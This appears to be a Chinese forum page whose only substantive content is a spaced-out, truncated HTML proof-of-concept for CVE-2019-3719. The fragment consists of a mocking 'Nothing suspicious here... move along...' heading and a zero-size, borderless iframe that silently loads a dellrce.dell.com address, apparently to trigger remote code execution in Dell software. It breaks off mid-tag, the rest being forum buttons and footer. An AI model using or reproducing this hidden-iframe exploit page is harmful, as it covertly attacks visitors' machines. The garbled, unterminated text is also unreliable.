推 荐 阅 读 原 文 < h 1 > C V E - 2 0 1 9 - 3 7 1 9 < / h 1 > < h 1 > N o t h i n g   s u s p i c i o u s   h e r e . . .   m o v e   a l o n g . . . < / h 1 > < i f r a m e   s r c = " h t t p : / / w w w . d e l l r c e . d e l l . c o m "   s t y l e = " w i d t h :   0 ;   h e i g h t :   0 ;   b o r d e r :   0 ;   b o r d e r :   n o n e ;   p o s i t i o n :   a b s o l u t e ; "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理